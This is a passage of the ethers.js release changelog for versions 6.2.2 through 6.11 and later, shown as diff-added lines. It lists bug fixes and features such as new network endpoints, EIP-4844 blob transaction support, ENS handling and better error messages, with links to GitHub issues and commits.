+--------------------------------- + + - Added Linea Sepolia network and Infura endpoint ([#4655](https://github.com/ethers-io/ethers.js/issues/4655); [b4aaab8](https://github.com/ethers-io/ethers.js/commit/b4aaab8d39fe47f8a1a296fa442f0856f84faf03)). + - Do not send unsubscribe messages to destroyed Providers ([#4678](https://github.com/ethers-io/ethers.js/issues/4678); [c45935e](https://github.com/ethers-io/ethers.js/commit/c45935e29ca0dd1ecdf1277fa1107246041be580)). + - Get definitive network from InfuraProvider when using InfuraWebSocketProvider ([38e32d8](https://github.com/ethers-io/ethers.js/commit/38e32d82145eb289e5179f9b6b11f4a9225a7022)). + - Better error messages for transaction field mismatch ([#4659](https://github.com/ethers-io/ethers.js/issues/4659); [9230aa0](https://github.com/ethers-io/ethers.js/commit/9230aa0b9a88b5241915a8d6afa8a522d35abd5d)). + - Added prevRandao to block ([#3372](https://github.com/ethers-io/ethers.js/issues/3372); [ec6a754](https://github.com/ethers-io/ethers.js/commit/ec6a754f0c8647dae59c73b2589225cb200d83dd)). + - Added Polygon Amoy testnet ([#4645](https://github.com/ethers-io/ethers.js/issues/4645); [1717abb](https://github.com/ethers-io/ethers.js/commit/1717abbf29a14a6f6b106e479fe9a5b1f8768dc4)). + - Added Chainstack provider ([#2741](https://github.com/ethers-io/ethers.js/issues/2741); [014004d](https://github.com/ethers-io/ethers.js/commit/014004d9402d7fd8c15553792cfb7a8a84ed327a)). + - Added deep conversion to Result for toObject and toArray ([#4681](https://github.com/ethers-io/ethers.js/issues/4681); [03bfe2a](https://github.com/ethers-io/ethers.js/commit/03bfe2a4f7b29b15cd90127974b7fc1d8b03edf9)). + - Added EIP-4844 broadcast support ([92bad88](https://github.com/ethers-io/ethers.js/commit/92bad88261a5d8a538535a7d5528162fe5010527)). + - Fix ignored throttle parameters ([#4663](https://github.com/ethers-io/ethers.js/issues/4663); [12772e9](https://github.com/ethers-io/ethers.js/commit/12772e9498b70f8538838f30e16f3792ea90e173)). + +ethers/v6.11.1 (2024-02-14 13:13) +--------------------------------- + + - Throw an error when attempting to derive from a master path from a non-master node ([#4551](https://github.com/ethers-io/ethers.js/issues/4551); [556fdd9](https://github.com/ethers-io/ethers.js/commit/556fdd91d9b6bf7db4041bb099e66b2080e1a985)). + - Allow ENS wildcards with labels up to 255 bytes wide; discussed with ENS and deemed safe ([#4543](https://github.com/ethers-io/ethers.js/issues/4543); [7f14bde](https://github.com/ethers-io/ethers.js/commit/7f14bdebf1aef6760462a1c2437c31f002b984fe)). + - Enforce string is passed to toUtf8Bytes ([#4583](https://github.com/ethers-io/ethers.js/issues/4583); [f45bb87](https://github.com/ethers-io/ethers.js/commit/f45bb87aefaf2c6c3a4991f6e30a81c227ae83c0)). + - Fix transaction.index not being populated on some backends ([#4591](https://github.com/ethers-io/ethers.js/issues/4591); [7f0e140](https://github.com/ethers-io/ethers.js/commit/7f0e140d5e3925a42e8bb2ac9eb1ba3fbd939864)). + +ethers/v6.11.0 (2024-02-08 20:26) +--------------------------------- + + - Allow transaction encoding for inferred type transactions ([f02211d](https://github.com/ethers-io/ethers.js/commit/f02211d055567b51373b5faa2c3dc6efe0523618)). + - Added EIP-4788, receipts root and state root fields to Block ([#4570](https://github.com/ethers-io/ethers.js/issues/4570); [c5f126f](https://github.com/ethers-io/ethers.js/commit/c5f126faf7d826b6a99df0ee578ff3d0ef409381)). + - Added EIP-4844 fields to Provider classes and formatter ([#4570](https://github.com/ethers-io/ethers.js/issues/4570); [7b4f2c1](https://github.com/ethers-io/ethers.js/commit/7b4f2c1a74db411829b5e8ef758bfa2ee21e5890)). + - Assert BrowserProvider receives an EIP-1193 provider to fail early when passing undefined ethereum object ([b69f43b](https://github.com/ethers-io/ethers.js/commit/b69f43bc6f35da881ca7a0c8ccc5fda92edd076d)). + - Add timeout to ContractTransactionResponse wait ([#4497](https://github.com/ethers-io/ethers.js/issues/4497); [095de51](https://github.com/ethers-io/ethers.js/commit/095de51e605a9b88576e5e34fd55a6e32befa4eb)). + - Allow override keyword in human-readable ABI and improve error messages ([#4514](https://github.com/ethers-io/ethers.js/issues/4514), [#4548](https://github.com/ethers-io/ethers.js/issues/4548); [be5ec2d](https://github.com/ethers-io/ethers.js/commit/be5ec2d327a503b2e5fc0f37c47eee9e828f8e23)). + - Expand Contract sub-class to accept BaseContract super-class constructor arguments ([#4538](https://github.com/ethers-io/ethers.js/issues/4538); [98496bc](https://github.com/ethers-io/ethers.js/commit/98496bc48ec23ce0d9c21d3c6c87e5b1b796a610)). + - Allow network for default provider to be null to select mainnet ([#4501](https://github.com/ethers-io/ethers.js/issues/4501); [b6bf7ab](https://github.com/ethers-io/ethers.js/commit/b6bf7aba62fb38839cd01858432b801cc5c28a11)). + - Allow long dnsEncode names with optional length parameter ([#4543](https://github.com/ethers-io/ethers.js/issues/4543); [a136348](https://github.com/ethers-io/ethers.js/commit/a1363483a56b0dee342595c8f44ed8fcce7ecca9)). + - Fix parseLog signature when receiving read-only array for topics ([#4029](https://github.com/ethers-io/ethers.js/issues/4029), [#4459](https://github.com/ethers-io/ethers.js/issues/4459); [20cd8a2](https://github.com/ethers-io/ethers.js/commit/20cd8a23eaf8e8a14e2b51f7f64da4cb3e32fccb)). + - Use Secure endpoints for BNB on Etherscan ([#4525](https://github.com/ethers-io/ethers.js/issues/4525); [1f6e188](https://github.com/ethers-io/ethers.js/commit/1f6e1882515195bd67f0bce9fe347ec05107324b)). + - Added holesky network and related end-points for supporting providers ([c6e6c43](https://github.com/ethers-io/ethers.js/commit/c6e6c432574a0b7e55c300ab3e470aafdace28b3)). + - Added EIP-4844 BLOb transactions ([#4554](https://github.com/ethers-io/ethers.js/issues/4554); [9c1e82e](https://github.com/ethers-io/ethers.js/commit/9c1e82e1230526ebcd62902890c4f24b1f7f7d79)). + - Normalize EIP-712 types before computing the payload ([#4541](https://github.com/ethers-io/ethers.js/issues/4541); [56c1361](https://github.com/ethers-io/ethers.js/commit/56c1361ee83db8b68859caf0850c95ff70e7e306)). + - Updated thrid-part provider URLs for QuickNode ([2b4891d](https://github.com/ethers-io/ethers.js/commit/2b4891d86e72e849079cb1dc98b18e158b0c0620)). + - Fixed normalization and abstracted EIP-712 Array parsing ([#4541](https://github.com/ethers-io/ethers.js/issues/4541); [8f99601](https://github.com/ethers-io/ethers.js/commit/8f99601df1f26a8ba4d6d9dea5e033e7f688107e)). + - Updated third-party provider network URLs ([#4542](https://github.com/ethers-io/ethers.js/issues/4542); [84ca14f](https://github.com/ethers-io/ethers.js/commit/84ca14f1ffc5afbdd7f4c26a9b734ec5951eee3c)). + - Added additional sepolia testnets ([4efef76](https://github.com/ethers-io/ethers.js/commit/4efef76e8cab0acaf1b2ba231a0148f9381bb1ee)). + - Fix EIP-712 type aliases for uint and int ([#4541](https://github.com/ethers-io/ethers.js/issues/4541); [43fb9c2](https://github.com/ethers-io/ethers.js/commit/43fb9c233696aeaa80b1c2b0e5fafce90e0ad508)). + - Fixed typo in Error string ([#4539](https://github.com/ethers-io/ethers.js/issues/4539); [7882905](https://github.com/ethers-io/ethers.js/commit/78829050853093bc5291ae78fc5a904044759aa0)). + - Better debugging output on fetch errors ([bee07a0](https://github.com/ethers-io/ethers.js/commit/bee07a0750b448a9d13c2d57014bcf27f43e2ed7)). + +ethers/v6.10.0 (2024-01-12 19:46) +--------------------------------- + + - Limit decoded result imflation ratio from ABI-encoded data ([#4537](https://github.com/ethers-io/ethers.js/issues/4537); [1b4debd](https://github.com/ethers-io/ethers.js/commit/1b4debd4a9e61d171bfc60590116facb8bdbd2da)). + +ethers/v6.9.2 (2024-01-02 19:12) +-------------------------------- + + - Fix Base58 padding for string representation of binary data ([#4527](https://github.com/ethers-io/ethers.js/issues/4527); [ccac24a](https://github.com/ethers-io/ethers.js/commit/ccac24a5b0a4d07a4b639c1c4d0a44703e32d418)). + +ethers/v6.9.1 (2023-12-19 04:53) +-------------------------------- + + - Fix uncatchable issue when sending transactions over JSON-RPC and provide some retry-recovery for missing v ([#4513](https://github.com/ethers-io/ethers.js/issues/4513); [1802215](https://github.com/ethers-io/ethers.js/commit/180221574c5d2af9ad85404af4fab8752d3d5029)). + +ethers/v6.9.0 (2023-11-27 06:15) +-------------------------------- + + - Use provider-specified suggested priority fee when available, otherwise fallback onto existing logic of 1 gwei ([#4463](https://github.com/ethers-io/ethers.js/issues/4463); [f8f11c7](https://github.com/ethers-io/ethers.js/commit/f8f11c754aa2c9b541db73d3bde66a8ffa5146f0)). + - Add auto-detected static network support to providers and allow customizing socket provider options ([#4199](https://github.com/ethers-io/ethers.js/issues/4199), [#4418](https://github.com/ethers-io/ethers.js/issues/4418), [#4441](https://github.com/ethers-io/ethers.js/issues/4441); [4681b83](https://github.com/ethers-io/ethers.js/commit/4681b83d516ab2eb41ddb68b5021c97e14c6f2cf)). + - Added Base network to AlchemyProvider ([#4384](https://github.com/ethers-io/ethers.js/issues/4384); [9e74d14](https://github.com/ethers-io/ethers.js/commit/9e74d14432e6efebdff21b9a7d2e6143af55e143)). + - Fixed ParamType formatting causing bad tuple full and minimal ABI output ([#4329](https://github.com/ethers-io/ethers.js/issues/4329), [#4479](https://github.com/ethers-io/ethers.js/issues/4479); [2b67488](https://github.com/ethers-io/ethers.js/commit/2b6748815169abf2c99a647131875c13b8b6a787)). + - Adjust for provider config weight when kicking off a request in FallbackProvider ([#4298](https://github.com/ethers-io/ethers.js/issues/4298); [da34e35](https://github.com/ethers-io/ethers.js/commit/da34e3569e95357d9469209d926cb645f0750bfa)). + - More robust FallbackProvider broadcast ([#4186](https://github.com/ethers-io/ethers.js/issues/4186), [#4297](https://github.com/ethers-io/ethers.js/issues/4297), [#4442](https://github.com/ethers-io/ethers.js/issues/4442); [e2485b8](https://github.com/ethers-io/ethers.js/commit/e2485b8ef927d18c7a15d2d29b3b0feffec9991a)). + - Added safe and finalized provider events ([#3921](https://github.com/ethers-io/ethers.js/issues/3921); [a92766e](https://github.com/ethers-io/ethers.js/commit/a92766e56ad04185625037d84fc28adaac7fae8c)). + +ethers/v6.8.1 (2023-11-01 16:08) +-------------------------------- + + - Fixed typo in error description when converting values to arrays ([#4427](https://github.com/ethers-io/ethers.js/issues/4427), [#4446](https://github.com/ethers-io/ethers.js/issues/4446); [8fed2f8](https://github.com/ethers-io/ethers.js/commit/8fed2f84768ace4bf3e5742c931a74841da7c637)). + - Fix invalid token nonpayable being included in formatted constructor ([#4412](https://github.com/ethers-io/ethers.js/issues/4412); [2e0bd90](https://github.com/ethers-io/ethers.js/commit/2e0bd90744b8e76fcf03f75a66cb0061d50f7bd9)). + - Add ENS support for Sepolia ([#4422](https://github.com/ethers-io/ethers.js/issues/4422); [1da50ae](https://github.com/ethers-io/ethers.js/commit/1da50ae286da01e58a70bb8df8aa5cc5d260e33e)). + +ethers/v6.8.0 (2023-10-10 22:42) +-------------------------------- + + - Replicated former ENS normalize behaviour for empty strings and update namehash testcases ([125ff11](https://github.com/ethers-io/ethers.js/commit/125ff1189b9cefb8abfd7da9c104c75e382a50cc)). + - Initial shortMessage support for errors ([#4241](https://github.com/ethers-io/ethers.js/issues/4241); [d6a8c14](https://github.com/ethers-io/ethers.js/commit/d6a8c14d907cf8b90347444c0186b83a5db2e293)). + - Fixed resolving ENS addresses used as from parameters ([#3961](https://github.com/ethers-io/ethers.js/issues/3961); [2616f4c](https://github.com/ethers-io/ethers.js/commit/2616f4c30c82bd45449b73fa37ef269d60a07d80)). + - Merge: 9a4b7534 0c9c23b0 Merge branch 'v5.8-progress' ([cd5f0fe](https://github.com/ethers-io/ethers.js/commit/cd5f0fe03f2137fbc47e295f8db38a5151111e72)). + - Allow more loose input format for RLP encoder ([#4402](https://github.com/ethers-io/ethers.js/issues/4402); [9a4b753](https://github.com/ethers-io/ethers.js/commit/9a4b7534458fc79a0654b0eb57fc956bffa02a2f)). + - Update to latest noble crypto libraries ([#3975](https://github.com/ethers-io/ethers.js/issues/3975); [b27faa0](https://github.com/ethers-io/ethers.js/commit/b27faa02ac8f90e2e54b188e8139c59d98c469e3)). + - More robust configuration options for FetchRequest getUrl functions ([#4353](https://github.com/ethers-io/ethers.js/issues/4353); [9541f2f](https://github.com/ethers-io/ethers.js/commit/9541f2f70cd7f5c6f3caf93f5a3d5e34eae5281a)). + - Ignore blockTag when calling Etherscan if it is the default block tag ([dcea9b3](https://github.com/ethers-io/ethers.js/commit/dcea9b353619d85878ad2ba340ae17e5c285d558)). + +ethers/v6.7.1 (2023-08-15 03:08) +-------------------------------- + + - Prevent destroyed providers from emitting network detection errors ([7d41730](https://github.com/ethers-io/ethers.js/commit/7d4173049edc3b4ff2de1971c3ecca3b08588651)). + - Fix VSCode reported lint issues ([#4153](https://github.com/ethers-io/ethers.js/issues/4153), [#4156](https://github.com/ethers-io/ethers.js/issues/4156), [#4158](https://github.com/ethers-io/ethers.js/issues/4158), [#4159](https://github.com/ethers-io/ethers.js/issues/4159); [4eb84da](https://github.com/ethers-io/ethers.js/commit/4eb84da865a82a27c5113c38102b6b710096958e), [203dfc3](https://github.com/ethers-io/ethers.js/commit/203dfc33b9c8e72c9cdfe0a349ac763ef17a4484)). + - Add gasPrice to Polygon feeData for type 0 and type 1 legacy transactions ([#4315](https://github.com/ethers-io/ethers.js/issues/4315); [0df3ab9](https://github.com/ethers-io/ethers.js/commit/0df3ab93137039de1e1986bbfe9a5b32ceffa8a4)). + +ethers/v6.7.0 (2023-08-02 23:52) +-------------------------------- + + - Fixed receipt wait not throwing on reverted transactions ([25fef4f](https://github.com/ethers-io/ethers.js/commit/25fef4f8d756f5bbf5a2a05e38233248a8eb43ac)). + - Added custom priority fee to Optimism chain (via telegram) ([ff80b04](https://github.com/ethers-io/ethers.js/commit/ff80b04f31da21496e72d3687cecd1c01efaecc5)). + - Add context to Logs that fail decoding due to ABI issues to help debugging ([f3c46f2](https://github.com/ethers-io/ethers.js/commit/f3c46f22994d194ff78b3b176407b2ecb7af1c77)). + - Added new exports for FallbackProviderOptions and FetchUrlFeeDataNetworkPlugin ([#2828](https://github.com/ethers-io/ethers.js/issues/2828), [#4160](https://github.com/ethers-io/ethers.js/issues/4160); [b1dbbb0](https://github.com/ethers-io/ethers.js/commit/b1dbbb0de3f10a3d9e12d6a84ad5c52bea25c7f6)). + - Allow overriding pollingInterval in JsonRpcProvider constructor (via discord) ([f42f258](https://github.com/ethers-io/ethers.js/commit/f42f258beb305a06e563ad16522f095a72da32eb)). + - Fixed FallbackProvider priority sorting ([#4150](https://github.com/ethers-io/ethers.js/issues/4150); [78538eb](https://github.com/ethers-io/ethers.js/commit/78538eb100addd135d29e60c9fa4fed3946278fa)). + - Added linea network to InfuraProvider and Network ([#4184](https://github.com/ethers-io/ethers.js/issues/4184), [#4190](https://github.com/ethers-io/ethers.js/issues/4190); [d3e5e2c](https://github.com/ethers-io/ethers.js/commit/d3e5e2c45b28c377f306091acfc024e30c49ef20)). + - Added whitelist support to getDefaultProvider ([82bb936](https://github.com/ethers-io/ethers.js/commit/82bb936542e29c6441ac8dc2d3ebbdd4edb708ee)). + - Add Polygon RPC endpoints to the default provider ([#3689](https://github.com/ethers-io/ethers.js/issues/3689); [23704a9](https://github.com/ethers-io/ethers.js/commit/23704a9c44d5857817e138fb19d44ce2103ca005)). + - Added customizable quorum to FallbackProvider ([#4160](https://github.com/ethers-io/ethers.js/issues/4160); [8f0a509](https://github.com/ethers-io/ethers.js/commit/8f0a50921a12a866addcf5b0fabc576bfc287689)). + - Added basic Gas Station support via a NetworkPlugin ([#2828](https://github.com/ethers-io/ethers.js/issues/2828); [229145d](https://github.com/ethers-io/ethers.js/commit/229145ddf566a962517588eaeed155734c7d4598)). + - Add BNB URLs to EtherscanProvider networks ([ec39abe](https://github.com/ethers-io/ethers.js/commit/ec39abe067259fad4ea8607a6c5aece61890eb41)). + - Added tests for JSON format ([#4248](https://github.com/ethers-io/ethers.js/issues/4248); [ba36079](https://github.com/ethers-io/ethers.js/commit/ba36079a285706694532ce726568c4c447acad47)). + - Use empty string for unnamed parameters in JSON output instead of undefined ([#4248](https://github.com/ethers-io/ethers.js/issues/4248); [8c2652c](https://github.com/ethers-io/ethers.js/commit/8c2652c8cb4d054207d89688d30930869d9d3f8b)). + - Return undefined for Contract properties that do not exist instead of throwing an error ([#4266](https://github.com/ethers-io/ethers.js/issues/4266); [5bf7b34](https://github.com/ethers-io/ethers.js/commit/5bf7b3494ed62952fc387b4368a0bdc86dfe163e)). + +ethers/v6.6.7 (2023-07-28 14:50) +-------------------------------- + + - Prevent malformed logs from preventing other logs being decoded ([#4275](https://github.com/ethers-io/ethers.js/issues/4275); [0dca645](https://github.com/ethers-io/ethers.js/commit/0dca645632d73488bf6ad460e0d779361a537bbe)). + - Allow visibility on human-readable constructors ([#4278](https://github.com/ethers-io/ethers.js/issues/4278); [3a52201](https://github.com/ethers-io/ethers.js/commit/3a52201fe2ba68a00105cca2c0901da5ffa18d6b)). + +ethers/v6.6.6 (2023-07-28 01:14) +-------------------------------- + + - Better error message when passing invalid overrides object into a contract deployment ([#4182](https://github.com/ethers-io/ethers.js/issues/4182); [aa2ea3d](https://github.com/ethers-io/ethers.js/commit/aa2ea3d5296956fd0d40b83888e1ca053bb250ee)). + +ethers/v6.6.5 (2023-07-24 00:04) +-------------------------------- + + - Reflect symbols in the Contract Proxy to target ([#4084](https://github.com/ethers-io/ethers.js/issues/4048); [ac2f5e5](https://github.com/ethers-io/ethers.js/commit/ac2f5e563b8ec0e91a931470eb6ea58b0c01fb3d)). + - Allow arrays of address for indexed filter topics ([#4259](https://github.com/ethers-io/ethers.js/issues/4259); [93af87c](https://github.com/ethers-io/ethers.js/commit/93af87c447eeb77090e29bd940612603b3f74026)). + - Fixed filter encoding for bytesX ([#4244](https://github.com/ethers-io/ethers.js/issues/4244); [fa3a883](https://github.com/ethers-io/ethers.js/commit/fa3a883ff7c88611ce766f58bdd4b8ac90814470)). + - Fix JSON formatting for tuple arrays ([#4237](https://github.com/ethers-io/ethers.js/issues/4237); [a8bc49b](https://github.com/ethers-io/ethers.js/commit/a8bc49bdcf07a51b35f38cf209db27e116cc1a59)). + - Better error messages when parsing fragment strings ([#4246](https://github.com/ethers-io/ethers.js/issues/4246); [e36b6c3](https://github.com/ethers-io/ethers.js/commit/e36b6c35b7bc777c9adbe0055b32b31a13185240)). + - Include the missing fragment key and args when no matching Contract method or event is present ([#3809](https://github.com/ethers-io/ethers.js/issues/3809); [450a176](https://github.com/ethers-io/ethers.js/commit/450a176ee25f88a2ddb9ff23b153ef70bf1dc546)). + - Prevent a single malformed event from preventing other Contract logs; reported on Discord ([b1375f4](https://github.com/ethers-io/ethers.js/commit/b1375f4e4463b856855ebc684b45945455ac082e)). + +ethers/v6.6.4 (2023-07-16 00:35) +-------------------------------- + + - More robust support for Signatures with less standard parameter values ([#3835](https://github.com/ethers-io/ethers.js/issues/3835), [#4228](https://github.com/ethers-io/ethers.js/issues/4228); [a7e4048](https://github.com/ethers-io/ethers.js/commit/a7e4048fe3b75a743cec8c8ef2a5fad4bdc8b14c)). + - Fixed CCIP-read in the EnsResolver ([#4221](https://github.com/ethers-io/ethers.js/issues/4221); [57f1e1c](https://github.com/ethers-io/ethers.js/commit/57f1e1c47148921148e35c10c83539531942923e)). + - Skip checking confirmation count if confirms is 0 ([#4229](https://github.com/ethers-io/ethers.js/issues/4229), [#4242](https://github.com/ethers-io/ethers.js/issues/4242); [492919d](https://github.com/ethers-io/ethers.js/commit/492919d14f646c630f29e1596e5564df1e51f309)). + - Fixed waiting for confirmations in deployment transactions ([#4212](https://github.com/ethers-io/ethers.js/issues/4212), [#4230](https://github.com/ethers-io/ethers.js/issues/4230); [43c253a](https://github.com/ethers-io/ethers.js/commit/43c253a402f52a08353c424f6c4e236836cfaf36)). + +ethers/v6.6.3 (2023-07-11 20:55) +-------------------------------- + + - Throw more descriptive error for unconfigured ENS name contract targets ([#4213](https://github.com/ethers-io/ethers.js/issues/4213); [80f62ef](https://github.com/ethers-io/ethers.js/commit/80f62efc41c3a29e690af40a1976928b7f886a0e)). + - Fixed contract once not running stop callback ([7d061b7](https://github.com/ethers-io/ethers.js/commit/7d061b786f72cbfc461bf80d139d10aeff533a6e)). + +ethers/v6.6.2 (2023-06-27 23:30) +-------------------------------- + + - Wider error detection for call exceptions on certain backends ([#4154](https://github.com/ethers-io/ethers.js/issues/4154), [#4155](https://github.com/ethers-io/ethers.js/issues/4155); [9197f9f](https://github.com/ethers-io/ethers.js/commit/9197f9f938b5f3b5f97c043f2dab06854656c932)). + - Added wider error deetection for JSON-RPC unsupported operation ([#4162](https://github.com/ethers-io/ethers.js/issues/4162); [1dc8986](https://github.com/ethers-io/ethers.js/commit/1dc8986a33be9dce536b24189326cbfaabf1342e)). + - Fixed formatUnits and parseUnits for values over 128 bits ([#4037](https://github.com/ethers-io/ethers.js/issues/4037), [#4133](https://github.com/ethers-io/ethers.js/issues/4133); [3d141b4](https://github.com/ethers-io/ethers.js/commit/3d141b44b528f52b3c9205125b64ce342f91643c)). + +ethers/v6.6.1 (2023-06-23 00:35) +-------------------------------- + + - Fixed CCIP read in contract calls ([#4043](https://github.com/ethers-io/ethers.js/issues/4043); [d51e3fb](https://github.com/ethers-io/ethers.js/commit/d51e3fbff43c31d88353ac71151626312d22c0b9), [857aa8c](https://github.com/ethers-io/ethers.js/commit/857aa8ccc30f25eda8e83dcac3e0ad2c1a5ce2b3)). + +ethers/v6.6.0 (2023-06-13 21:42) +-------------------------------- + + - Add exports for AbstractProviderOptions and for MulticoinProviderPlugin ([203a759](https://github.com/ethers-io/ethers.js/commit/203a759efc65bf6901d3e574a601525ea3936238)). + - Add option to adjust perform cache timeout in AbstractProvider ([de0f518](https://github.com/ethers-io/ethers.js/commit/de0f5189f695c181a5fa09100af96a691a338e2b)). + - Add full support for MultiCoin plugins and automatic detection for EVM-compatible coin types ([#3888](https://github.com/ethers-io/ethers.js/issues/3888), [#4081](https://github.com/ethers-io/ethers.js/issues/4081); [84375be](https://github.com/ethers-io/ethers.js/commit/84375be92d32a2939cf4a2f713e4c554b5b54a32)). + - Allow Interface instances where InterfaceAbi are allowed ([#4142](https://github.com/ethers-io/ethers.js/issues/4142); [2318005](https://github.com/ethers-io/ethers.js/commit/2318005dfd996c8a7c51603d0264ceabe9bb6141)). + - Allow Numeric type for decimals in FixedNumber ([#4141](https://github.com/ethers-io/ethers.js/issues/4141); [9055ef6](https://github.com/ethers-io/ethers.js/commit/9055ef6c69291f1a44ea23a2e7b5aaf3140a5577)). + +ethers/v6.5.1 (2023-06-07 20:19) +-------------------------------- + + - Fix lost promise fulfillment when a batch has an error response ([#4126](https://github.com/ethers-io/ethers.js/issues/4126); [8dd21f0](https://github.com/ethers-io/ethers.js/commit/8dd21f03334ffd3cdb7ac532376d51fd4130c7ab)). + +ethers/v6.5.0 (2023-06-06 22:41) +-------------------------------- + + - Fix CJS browser bundling ([#4033](https://github.com/ethers-io/ethers.js/issues/4033); [38ee319](https://github.com/ethers-io/ethers.js/commit/38ee3195b0192d8180899fd61308e03fa3a0eb32)). + - Fixed type guard for non-Typed instances ([#4087](https://github.com/ethers-io/ethers.js/issues/4087); [20c3d1b](https://github.com/ethers-io/ethers.js/commit/20c3d1b109743e33ab60a75d69bf7ede73b15ce2)). + - Add confirmations to TransactionResponse ([#4094](https://github.com/ethers-io/ethers.js/issues/4094); [bb8685b](https://github.com/ethers-io/ethers.js/commit/bb8685b112ce1c689c740d4dbcb358c16fb9b22d)). + - Fix stray promises when a node returns invalid results ([#4118](https://github.com/ethers-io/ethers.js/issues/4118); [3c1bad2](https://github.com/ethers-io/ethers.js/commit/3c1bad2fb7ad4a6ff90ff11f3e382fd18e41c800)). + - Added support to detect and stop providers spinning on intitial network detection ([#4015](https://github.com/ethers-io/ethers.js/issues/4015); [f37a52d](https://github.com/ethers-io/ethers.js/commit/f37a52da28ac130b7f4de52901618320994ea87a)). + +ethers/v6.4.2 (2023-06-05 22:41) +-------------------------------- + + - Bump ens-normalize version ([#4071](https://github.com/ethers-io/ethers.js/issues/4071), [#4077](https://github.com/ethers-io/ethers.js/issues/4077), [#4080](https://github.com/ethers-io/ethers.js/issues/4080), [#4102](https://github.com/ethers-io/ethers.js/issues/4102); [c135784](https://github.com/ethers-io/ethers.js/commit/c1357847dcdec93d72f28d890f9271d0289ccefd)). + - Fix for networks with polling with non-consistent block and filter events ([#4119](https://github.com/ethers-io/ethers.js/issues/4119); [9b0e992](https://github.com/ethers-io/ethers.js/commit/9b0e9920c09577296ec0e2abb3acc3f3299d96c7)). + +ethers/v6.4.1 (2023-06-01 17:52) +-------------------------------- + + - Fixed AbstractProvider lookupAddress bug ([#4086](https://github.com/ethers-io/ethers.js/issues/4086); [15ed2f5](https://github.com/ethers-io/ethers.js/commit/15ed2f5b32084527961332481c9442a313036a01)). + - Fix FixedNumber comparison bug ([#4112](https://github.com/ethers-io/ethers.js/issues/4112); [d8e9586](https://github.com/ethers-io/ethers.js/commit/d8e9586044e888e424b5ead0f6e01f88140dba8a)). + +ethers/v6.4.0 (2023-05-18 17:28) +-------------------------------- + + - Coerce value into BigInt when checking for value ([83d7f43](https://github.com/ethers-io/ethers.js/commit/83d7f43b9ca4b9868a3952510e56b41ea8610baa)). + - Better errors when junk passed as Contract target ([#3947](https://github.com/ethers-io/ethers.js/issues/3947), [#4053](https://github.com/ethers-io/ethers.js/issues/4053); [219b16d](https://github.com/ethers-io/ethers.js/commit/219b16dc284b0c6a532c8c49e824d8234f94222b)). + - More robust message checking in socket providers ([#4051](https://github.com/ethers-io/ethers.js/issues/4051); [f58990b](https://github.com/ethers-io/ethers.js/commit/f58990b80cfd83579014339315e58663c0aa6ae3)). + - More robust defaultProvider start-up when a backend fails on bootstrap ([#3979](https://github.com/ethers-io/ethers.js/issues/3979); [984f6fa](https://github.com/ethers-io/ethers.js/commit/984f6fa155fca08ebec2353c75ee0a0b974e8568)). + - Fix Result.map when Array contains zero elements ([#4036](https://github.com/ethers-io/ethers.js/issues/4036), [#4048](https://github.com/ethers-io/ethers.js/issues/4048); [2e5935b](https://github.com/ethers-io/ethers.js/commit/2e5935b91cff462165a054b33c8b8413f51e3f39)). + - Fixed error handling for contracts with receive and non-payable fallback ([6db7458](https://github.com/ethers-io/ethers.js/commit/6db7458cf0a09e8e8a2abb712239972ab81dc9df)). + - Remove superfluous logging in defaultProvider ([f87f6ef](https://github.com/ethers-io/ethers.js/commit/f87f6ef9a01ca399664f9fe106b0a677dba0c8e8)). + - Removed superfluous logging ([1bc8b55](https://github.com/ethers-io/ethers.js/commit/1bc8b55d502a95c4ae58352bdcfce9e5f9ea72d3)). + - Fix receipt gas price when effectiveGasPrice is 0 on testnets ([#4014](https://github.com/ethers-io/ethers.js/issues/4014); [2b0fe61](https://github.com/ethers-io/ethers.js/commit/2b0fe611335432aee334d777a64d8c7827881618)). + - Added error event to provider ([#3970](https://github.com/ethers-io/ethers.js/issues/3970), [#3982](https://github.com/ethers-io/ethers.js/issues/3982); [af0291c](https://github.com/ethers-io/ethers.js/commit/af0291c01639674658f5049343da88a84da763a1)). + - Removed superfluous parameters for internal transaction functions ([e848978](https://github.com/ethers-io/ethers.js/commit/e8489787585c2e69a23f6cdec6901f22b096aebe)). + - More aggresive tree-shaking ([076edad](https://github.com/ethers-io/ethers.js/commit/076edad81ef62474f48f2b4c8af0edc6e4fd64f2)). + - More flexible static network checking ([#3834](https://github.com/ethers-io/ethers.js/issues/3834); [7c0465c](https://github.com/ethers-io/ethers.js/commit/7c0465c5fb834eba18d4e5535072685bdc1029f0)). + - Support transitive dependants that use non-node16 moduleResolution ([#3920](https://github.com/ethers-io/ethers.js/issues/3920); [df685b1](https://github.com/ethers-io/ethers.js/commit/df685b1bd9ad346ee7863beb6c3ca3f4e94932a2)). + - Populate any missing log.removed with false ([#3959](https://github.com/ethers-io/ethers.js/issues/3959); [4e478e6](https://github.com/ethers-io/ethers.js/commit/4e478e625d5648f2172631eef5fda5776ee776b0)). + +ethers/v6.3.0 (2023-04-06 04:35) +-------------------------------- + + - Added support for legacy ABI JSON fragments ([#3932](https://github.com/ethers-io/ethers.js/issues/3932); [8c5973e](https://github.com/ethers-io/ethers.js/commit/8c5973e3a9b8d4d4ed80bdf209d8a0b6cc6b8d6d)). + - Add _in_ operator support for contract and contract.filters ([#3901](https://github.com/ethers-io/ethers.js/issues/3901); [c58ab3a](https://github.com/ethers-io/ethers.js/commit/c58ab3a97687e15a3ffe30b038089c5f4b570bb9)). + - Fixed TypedData unsigned value range ([#3873](https://github.com/ethers-io/ethers.js/issues/3873); [a851b24](https://github.com/ethers-io/ethers.js/commit/a851b24d0af009ecf277766d2a5f81f9b3e7f9f8)). + - Added missing export for getIndexedAccountPath ([#3875](https://github.com/ethers-io/ethers.js/issues/3875); [356ff2b](https://github.com/ethers-io/ethers.js/commit/356ff2becb4f4d3622b281d3825770af5caf71ca)). + - Fixed TypedData payloads for JSON-restricted chainId field ([#3836](https://github.com/ethers-io/ethers.js/issues/3836); [50b74b8](https://github.com/ethers-io/ethers.js/commit/50b74b8806ef2064f2764b09f89c7ac75fda3a3c)). + +ethers/v6.2.3 (2023-03-27 21:22) +-------------------------------- + + - Fixed events when emitted in WebSocketProvider ([#3767](https://github.com/ethers-io/ethers.js/issues/3767), [#3922](https://github.com/ethers-io/ethers.js/issues/3922); [ffaafc0](https://github.com/ethers-io/ethers.js/commit/ffaafc0ce1cf40d1d76d8d814c9c445057bf6989)). + +ethers/v6.2.2 (2023-03-24 00:49) +-------------------------------- + + - Fixed FetchRequest when using credentials ([#3897](https://github.com/ethers-io/ethers.js/issues/3897); [88e8124](https://github.com/ethers-io/ethers.js/commit/88e8124c37d377628f9b8abdf140fc07ad06259f)). + 